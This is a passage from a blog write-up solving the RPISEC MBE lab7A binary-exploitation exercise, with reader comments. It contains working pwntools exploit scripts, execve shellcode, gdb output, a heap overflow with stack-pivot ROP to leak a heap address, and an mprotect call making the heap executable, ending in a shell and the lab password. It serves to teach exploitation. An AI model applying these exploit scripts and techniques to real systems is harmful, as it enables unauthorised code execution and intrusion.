("EEEE"
) has been written in the first 4 bytes of the actual data of the second chunk. Because this 4 bytes contain the member-function print_msg
, the program raises a segmentation fault when we try to print the second message:
gdb-peda$ c Continuing. 4 ----------------------------------------- -Input message index to print: 1 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x45454545 ('EEEE') EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xbffff6cd --> 0x4008000a EDX: 0x80f1ae8 ("EEEE\n\267\312\037Í\310\023\362\237&Y\235\300\326Z\214\vRv\235t10\356[\222*\021\265\255d\322\313\326A\037\036\307PD\205\016i\027wXq\245a_0u\022G\022z\365qv\202\\\226:u[RYe \302a*\002x.\351\337\354\025\360\254\253\002\213*\\uy\237\214@\377\203\246P(dTzR\317KzP\023&!\303\356\\/aH\206(\021\262\267{-\200\363'\r") ESI: 0x0 EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6f8 --> 0xbffff728 --> 0x8049e70 (<__libc_csu_fini>: push ebx) ESP: 0xbffff6ac --> 0x8049521 (<print_index+160>: mov eax,0x0) EIP: 0x45454545 ('EEEE') EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] Invalid $PC address: 0x45454545 [------------------------------------stack-------------------------------------] 0000| 0xbffff6ac --> 0x8049521 (<print_index+160>: mov eax,0x0) 0004| 0xbffff6b0 --> 0x80f1ae8 ("EEEE\n\267\312\037Í\310\023\362\237&Y\235\300\326Z\214\vRv\235t10\356[\222*\021\265\255d\322\313\326A\037\036\307PD\205\016i\027wXq\245a_0u\022G\022z\365qv\202\\\226:u[RYe \302a*\002x.\351\337\354\025\360\254\253\002\213*\\uy\237\214@\377\203\246P(dTzR\317KzP\023&!\303\356\\/aH\206(\021\262\267{-\200\363'\r") 0008| 0xbffff6b4 --> 0x0 0012| 0xbffff6b8 --> 0xa ('\n') 0016| 0xbffff6bc --> 0x80ed240 --> 0xfbad2887 0020| 0xbffff6c0 --> 0x80ed240 --> 0xfbad2887 0024| 0xbffff6c4 --> 0x29 (')') 0028| 0xbffff6c8 --> 0x1 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x45454545 in ?? ()
Great! We successfully completed the first part of the challenge:
–> We found a heap overflow vulnerability within the program.
–> We succeeded in leveraging this vulnerability to control the instruction pointer (eip
).
The next big question is: Where should we jump to?
As we figured out, the binary was statically linked. So let’s first check if our favourite function system
has been built in:
[0x08048d2a]> is~system vaddr=0x080d5660 paddr=0x0008d660 ord=738 fwd=NONE sz=62 bind=LOCAL type=OBJECT name=system_dirs vaddr=0x080d564c paddr=0x0008d64c ord=739 fwd=NONE sz=16 bind=LOCAL type=OBJECT name=system_dirs_len
Does not look good. Maybe the binary at least contains the string "/bin/sh"
and we can create a ROP-chain executing the syscall execve
?
[0x08048d2a]> / /bin/sh Searching 7 bytes from 0x08048000 to 0x080eff18: 2f 62 69 6e 2f 73 68 # 6 [0x8048000-0x80eff18] hits: 0
Nope, no "/bin/sh"
.
While searching through the built-in functions I stumbled upon the following:
[0x08048d2a]> is~mprotect vaddr=0x0806f340 paddr=0x00027340 ord=1248 fwd=NONE sz=37 bind=GLOBAL type=FUNC name=__mprotect vaddr=0x0806f340 paddr=0x00027340 ord=2227 fwd=NONE sz=37 bind=UNKNOWN type=FUNC name=mprotect
The binary contains the function mprotect
:
lab7A@warzone:/levels/lab07$ man mprotect MPROTECT(2) Linux Programmer's Manual MPROTECT(2) NAME mprotect - set protection on a region of memory SYNOPSIS #include <sys/mman.h> int mprotect(void *addr, size_t len, int prot); DESCRIPTION mprotect() changes protection for the calling process's memory page(s) containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary. ...
mprotect
can be used to change the protection of memory pages. As for now we cannot execute shellcode in the stack or heap because these segments are marked as RW
only because NX
is enabled:
gdb-peda$ ! cat /proc/$(pidof lab7A)/maps 08048000-080ec000 r-xp 00000000 fc:00 922475 /levels/lab07/lab7A 080ec000-080ee000 rw-p 000a3000 fc:00 922475 /levels/lab07/lab7A 080ee000-08112000 rw-p 00000000 00:00 0 [heap] b7ffc000-b7ffd000 rw-p 00000000 00:00 0 b7ffd000-b7ffe000 r-xp 00000000 00:00 0 [vdso] b7ffe000-b8000000 r--p 00000000 00:00 0 [vvar] bffdf000-c0000000 rw-p 00000000 00:00 0 [stack]
If we call mprotect
to make the heap executable, we could store a shellcode in the heap and then redirect the instruction pointer to that shellcode.
Before we can call mprotect
we need to leak the address of the heap since we must pass the address as the first argument to mprotect
.
Let’s have a look if there is a function built in which can print something for us:
[0x08048d2a]> is~puts vaddr=0x08050bf0 paddr=0x00008bf0 ord=1359 fwd=NONE sz=335 bind=UNKNOWN type=FUNC name=puts ...
Looks good. The function puts
is located at 0x08050bf0
. If we pass the fixed address of the global array messages
(0x80eef60
) to puts
at least the address of the first heap pointer will be printed.
But how do we pass arguments to puts
? In a stack overflow scenario we could easily overwrite the return address on the stack with a function address and just keep on writing further bytes which will be stored after the return address ending up to be the arguments to the called function.
With the heap overflow vulnerability we discovered, we can only overwrite one function address. If we write more bytes, these will not be stored on the stack, but within the struct object on the heap. Thus this does not help us passing arguments to the function we want to call. In the last level we leveraged the fact that the member-function we could overwrite was being called with an argument which fits our needs. In this level the member-function is called passing the whole struct instance:
messages[i]->print_msg(messages[i]);
As the first member in the struct is the member-function itself, we cannot change this value because it must contain the address of the function we would like to call.
This means we have to do a little trick. Do you remember level lab5A? We introduced a technique called Stack Pivoting. When using ROP and there is only one gadget we can call, we should call a gadget which changes the stack pointer (esp
) so that it will point to a region on the stack which we can control. In this region we can place further gadgets which will be called one after another.
But how do we control a region on the stack? There is no stack overflow vulnerability!? Well, we do not need a vulnerability to modify the stack. All local variables are stored on the stack. And did you recognize the quite unusual way the index is read from the user in print_index
and all other functions requiring an index?
char numbuf[32]; unsigned int i = 0; /* get message index to print */ printf("-Input message index to print: "); fgets(numbuf, sizeof(numbuf), stdin); i = strtoul(numbuf, NULL, 10);
The buffer for the index (numbuf
) is 32 byte long! Quite large for an index but perfect to store more gadgets on the stack 🙂
One thing we have to consider is that the buffer must contain a valid index in the first bytes:
if(i >= MAX_MSG || messages[i] == NULL) { printf("-Invalid message index!\n"); return 1; } /* print the message of interest */ messages[i]->print_msg(messages[i]);
If i
is not a valid index, the member-function print_msg
does not get called. As the user input is read using fgets
we can place null-bytes in our input. If we enter "1\x00AAAAAAAAAAAA..."
for example strtoul
will return the valid index 1
but the buffer numbuf
will still contain the additional "AAAA..."
.
Summing it up we will do the following to leak the heap address:
–> Create a message with the length 131, overwriting msg_len
.
–> Create a second message.
–> Edit the first message leveraging the overwritten msg_len
to overwrite the member-function of the second message with the address of an appropriate stack pivoting gadget.
–> Selecting 4. Print message details
entering index 1 (second message) followed by a null-byte and additional gadgets, which will be stored on the stack.
The following images illustrates the approach:
The offset from the stack pointer (esp
) to numbuf
at the point of time the print_msg
function is called can be determined using gdb
:
gdb-peda$ disassemble print_index Dump of assembler code for function print_index: ... 0x0804951c <+155>: mov DWORD PTR [esp],edx 0x0804951f <+158>: call eax ... 0x08049538 <+183>: ret End of assembler dump. gdb-peda$ b *print_index+158 Breakpoint 1 at 0x804951f gdb-peda$ r Starting program: /levels/lab07/lab7A +---------------------------------------+ | Doom's OTP Service v1.0 | +---------------------------------------+ |------------ Services Menu ------------| |---------------------------------------| | 1. Create secure message | | 2. Edit secure message | | 3. Destroy secure message | | 4. Print message details | | 5. Quit | +---------------------------------------+ Enter Choice: 1 ----------------------------------------- -Using message slot #0 -Enter data length: 4 -Enter data to encrypt: AAA -Message created successfully! ... Enter Choice: 4 ----------------------------------------- -Input message index to print: 0 [----------------------------------registers-----------------------------------] EAX: 0x8048fd3 (<print_message>: push ebp) EBX: 0x80481a8 (<_init>: push ebx) ECX: 0xbffff6cd --> 0x4008000a EDX: 0x80f19d8 --> 0x8048fd3 (<print_message>: push ebp) ESI: 0x0 EDI: 0x80ecfbc --> 0x8069190 (<__stpcpy_sse2>: mov edx,DWORD PTR [esp+0x4]) EBP: 0xbffff6f8 --> 0xbffff728 --> 0x8049e70 (<__libc_csu_fini>: push ebx) ESP: 0xbffff6b0 --> 0x80f19d8 --> 0x8048fd3 (<print_message>: push ebp) EIP: 0x804951f (<print_index+158>: call eax) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8049512 <print_index+145>: mov edx,DWORD PTR [ebp-0x30] 0x8049515 <print_index+148>: mov edx,DWORD PTR [edx*4+0x80eef60] 0x804951c <print_index+155>: mov DWORD PTR [esp],edx => 0x804951f <print_index+158>: call eax 0x8049521 <print_index+160>: mov eax,0x0 0x8049526 <print_index+165>: mov ecx,DWORD PTR [ebp-0xc] 0x8049529 <print_index+168>: xor ecx,DWORD PTR gs:0x14 0x8049530 <print_index+175>: je 0x8049537 <print_index+182> Guessed arguments: arg[0]: 0x80f19d8 --> 0x8048fd3 (<print_message>: push ebp) [------------------------------------stack-------------------------------------] 0000| 0xbffff6b0 --> 0x80f19d8 --> 0x8048fd3 (<print_message>: push ebp) 0004| 0xbffff6b4 --> 0x0 0008| 0xbffff6b8 --> 0xa ('\n') 0012| 0xbffff6bc --> 0x80ed240 --> 0xfbad2887 0016| 0xbffff6c0 --> 0x80ed240 --> 0xfbad2887 0020| 0xbffff6c4 --> 0x29 (')') 0024| 0xbffff6c8 --> 0x0 0028| 0xbffff6cc --> 0x8000a30 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x0804951f in print_index () gdb-peda$ x/32xw $esp 0xbffff6b0: 0x080f19d8 0x00000000 0x0000000a 0x080ed240 0xbffff6c0: 0x080ed240 0x00000029 0x00000000 0x08000a30 0xbffff6d0: 0x080ed240 0x0000000a 0x00000029 0x08050280 0xbffff6e0: 0x080ed240 0x080c085e 0x00000004 0x2b329900 0xbffff6f0: 0x00000000 0x080ecfbc 0xbffff728 0x0804967e 0xbffff700: 0x080c0870 0x00000000 0x00000002 0x00000000 0xbffff710: 0x080ed014 0xbffff7b4 0x00000004 0x2b329900 0xbffff720: 0x00000000 0x080ecfbc 0x08049e70 0x080498ba gdb-peda$ x/s $esp+0x1c 0xbffff6cc: "0\n"
I set a breakpoint on the call eax
instruction which call the member-function. In the output of the stack we can see the value 0x08000a30
. This is the 0 + newline
we entered. Thus the offset is 0x1c
before the call. Since the call places an additional item on the stack (the return address) the final offset is 0x20 = 32 byte.
An appropriate gadget can be found using radare
or other ROP-tools (see lab6). The gadget I used adds 32 byte to esp
and pop
s two times. Because this moves esp
4 bytes too far, I must append 6 fill bytes ('A'
in the image) to make esp
point to the address of puts
. After the address of puts
the next return address is stored. Here I simply placed the address of main
in order to keep the program running. The last item on the stack is the address of messages
which contains the heap pointers we want to be printed by puts
.
The following python-script implements this approach leaking the heap address of the first struct msg
stored in messages[0]
:
lab7A@warzone:/levels/lab07$ cat /tmp/exploit_lab7A.py from pwn import * p = process("./lab7A") #************************************************ # stage 1 # create first obj -> overflow 3 bytes changing msglen p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Create secure message p.sendline("131") # --> len = 131 p.sendline("A"*130) # --> data = "AAAAAA...\n" # create second obj -> we are going to overwrite this shortly p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Create secure message p.sendline("4") # --> len = 4 p.sendline("A"*3) # --> data = "AAA\n" # overwrite second obj p.recvuntil("Enter Choice: ") p.sendline("2") # 2. Edit secure message p.sendline("0") # --> index = 0 expl = "A"*132 expl += p32(0x00000000) expl += p32(0x00000111) expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret p.sendline(expl) # --> data = expl # call function -> leak heap address p.recvuntil("Enter Choice: ") p.sendline("4") # 4. Print message details num = "1\x00" num += "A"*6 num += p32(0x8050bf0) # second gadget after pivoting: puts num += p32(0x8049569) # return address: main num += p32(0x80eef60) # 1st arg puts: messages p.sendline(num) # --> index = 1 (+rop-chain) # output contains address of first heap object in messages array ret = p.recvuntil("Enter Choice: ") message_0 = int(ret[0x49:0x4d][::-1].encode("hex"), 16) log.info("message_0 = " + hex(message_0))
Despite of ASLR we can now determine the address of messages[0]
on the heap:
lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py [+] Starting program './lab7A': Done [*] message_0 = 0x83f09d8 [*] Stopped program './lab7A' lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py [+] Starting program './lab7A': Done [*] message_0 = 0x891e9d8 [*] Stopped program './lab7A' lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py [+] Starting program './lab7A': Done [*] message_0 = 0x9a449d8 [*] Stopped program './lab7A'
What else to do to finally get a shell?
–> Store a shellcode which calls execve("/bin/sh")
(see lab3C) in the heap using the known heap overflow vulnerability.
–> Use the explained approach to call mprotect
making the heap executable (the required values for the arguments can be determined with gdb
using the command i proc mappings
).
–> As the return address of the call to mprotect
set the address of our shellcode within the heap.
I added detailed comments to the final python-script which uses the remote service running on port 7741:
lab7A@warzone:/levels/lab07$ cat /tmp/exploit_lab7A.py from pwn import * p = remote("localhost", 7741) shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68"\ "\x68\x2f\x62\x69\x6e\x89\xe3"\ "\x89\xc1\x89\xc2\xb0\x0b\xcd"\ "\x80\x31\xc0\x40\xcd\x80" #************************************************ # stage 1 # create first obj -> overflow 3 bytes changing msg_len p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Create secure message p.sendline("131") # --> len = 131 p.sendline("A"*130) # --> data = "AAAAAA...\n" # create second obj -> we are going to overwrite this shortly p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Create secure message p.sendline("4") # --> len = 4 p.sendline("A"*3) # --> data = "AAA\n" # overwrite second obj p.recvuntil("Enter Choice: ") p.sendline("2") # 2. Edit secure message p.sendline("0") # --> index = 0 expl = "A"*132 expl += p32(0x00000000) expl += p32(0x00000111) expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret expl += shellcode p.sendline(expl) # --> data = expl # call function -> leak heap address p.recvuntil("Enter Choice: ") p.sendline("4") # 4. Print message details num = "1\x00" num += "A"*6 num += p32(0x8050bf0) # second gadget after pivoting: puts num += p32(0x8049569) # return address: main num += p32(0x80eef60) # 1st arg puts: messages p.sendline(num) # --> index = 1 (+rop-chain) # output contains address of first heap object in messages array ret = p.recvuntil("Enter Choice: ") message_0 = int(ret[0x49:0x4d][::-1].encode("hex"), 16) log.info("message_0 = " + hex(message_0)) #************************************************ # stage 2 # 3rd obj -> overflow msg_len by 3 bytes p.sendline("1") # 1. Create secure message p.sendline("131") # --> len = 131 p.sendline("A"*130) # --> data = "AAAAAA...\n" # 4th obj -> we are going to overwrite this shortly p.recvuntil("Enter Choice: ") p.sendline("1") # 1. Create secure message p.sendline("4") # --> len = 4 p.sendline("A"*3) # --> data = "AAA\n" # overwrite 4th obj p.recvuntil("Enter Choice: ") p.sendline("2") # 2. Edit secure message p.sendline("2") # --> index = 2 expl = "A"*132 expl += p32(0x00000000) expl += p32(0x00000111) expl += p32(0x0807e372) # add esp, 0x20; mov eax, esi; pop ebx; pop esi; ret p.sendline(expl) # --> data = expl # call function -> mprotect p.recvuntil("Enter Choice: ") p.sendline("4") # 4. Print message details num = "3\x00" num += "A"*6 num += p32(0x806f340) # second gadget: __mprotect num += p32(message_0 + 276) # return: heap-address num += p32(message_0 - 0x19d8) # memory-page heap num += p32(0x22000) # size = 0x22000 num += p32(0x7) # prot = RWX p.sendline(num) # --> index = 3 (+rop-chain) p.recv(100) p.interactive()
Summing it up again the script does:
–> Leak the address of messages[0]
on the heap using puts
.
–> Store a shellcode on the heap which calls execve("/bin/sh")
.
–> Use the leaked address to call mprotect
making the heap executable.
–> Setting the address of the shellcode as the return address of the call.
Finally running the script:
lab7A@warzone:/levels/lab07$ python /tmp/exploit_lab7A.py [+] Opening connection to localhost on port 7741: Done [*] message_0 = 0x91ca9d8 [*] Switching to interactive mode $ whoami lab7end $ cat /home/lab7end/.pass 0verfl0wz_0n_th3_h3ap_4int_s0_bad
Done! The final password for lab7 is 0verfl0wz_0n_th3_h3ap_4int_s0_bad
.
Wow cuz this is great work! Congrats and keep it up!|
hey scryh,
i’m kinda ok with this lab however I still have a silly questions: In lab7A’s final exploit, line 83. num += p32(message_0 – 0x19d8).
As I thought, this is like ASLR lab, real_add = base_add + offset, where offset is same every run. I also noticed that only 3 bytes stay unchanged. So I only sub 0x9d8 from message_0 it also worked.
So why do you pick 0x19d8 and when sub bigger than 0x19d8 or not like 0x*9d8 the execution failed ? Should we only need shellcode excutable or there is something with mprotect?
also found a small bug:
“I set a breakpoint on the call eax instruction which call the member-function. In the output of the stack we can see the value 0x08000a30. This is the 1 + newline we entered. Thus the offset is 0x1c before the call. Since the call places an additional item on the stack (the return address) the final offset is 0x20 = 32 byte.”
it is supposed to 0+newline rather than 1+newline i guess
Hey smile,
regarding mprotect the address passed as the first argument must be page aligned (page size is 0x1000, thus the 3 least significant nibbles must be zero, e.g.: 0x891e000). The reason for this is that the permissions can only be defined for a whole page. The second parameter (size) must not necessarily be page aligned, although mprotect will automatically set the permissions on whole pages. If you for example call mprotect(0x8672000, 0x1001, …), the permissions will be set for the two pages ranging from 0x8672000 to 0x8674000.
You are totally right, that it is sufficient to make only the memory executable, which holds the shellcode. The parameters I chose make almost the whole heap memory executable. If you want to set the permissions more precisely, you have to assure that you pick the page aligned address before the memory, where the shellcode is stored (e.g. shellcode stored at 0x9a43114, address = 0x9a43000). For the size parameter you can simply use the size of the shellcode (although as mentioned before, mprotect will set the permissions on whole pages).
Thanks for the note regarding the wrong number! I adjusted it 🙂
scryh
hey scryh and thanks again for this amazing explanation.
I have a question regard to 7C.
in order to find the address of ‘system’ in libc, it is enough to leak an address of a function that doesn’t in libc itself(the print function), and calculate the offset between them. which mean that the ASLR doesn’t separate their address and randomize them as a one block. is it true? isn’t the libc should randomize as a separate block and therefore we should leak an address from libc?
following this, why in the previous lab: 6A we looked for a specific address of libc to leak in order to calculate system if we could leak any address? thanks a lot
Hey Tomer,
having back a look on this, that is really a good question. Usually you are right and we need to leak a libc address and not an address from the binary in order to locate the system function. I assume the reason for this here is that the binary is compiled as position independent (gcc … -fPIE -pie) and the kernel used in the RPISEC/MBE VM is quite old by now. On a recent kernel the binary itself (in this case the function small_str) is positioned within the memory independently from other libraries including the libc. Though it is still true that the offset between all libraries used by the binary stays the same (the libraries are not positioned independently from each other). You can test that by running ldd on a binary (e.g. ldd /usr/bin/ssh) a few times and compare the offset between two libraries throughout multiple runs. It should stay the same. It seems that the older kernel does not treat the position independent binary as a special case and positions it along with the other libraries resulting in the consistent offset between small_str and system.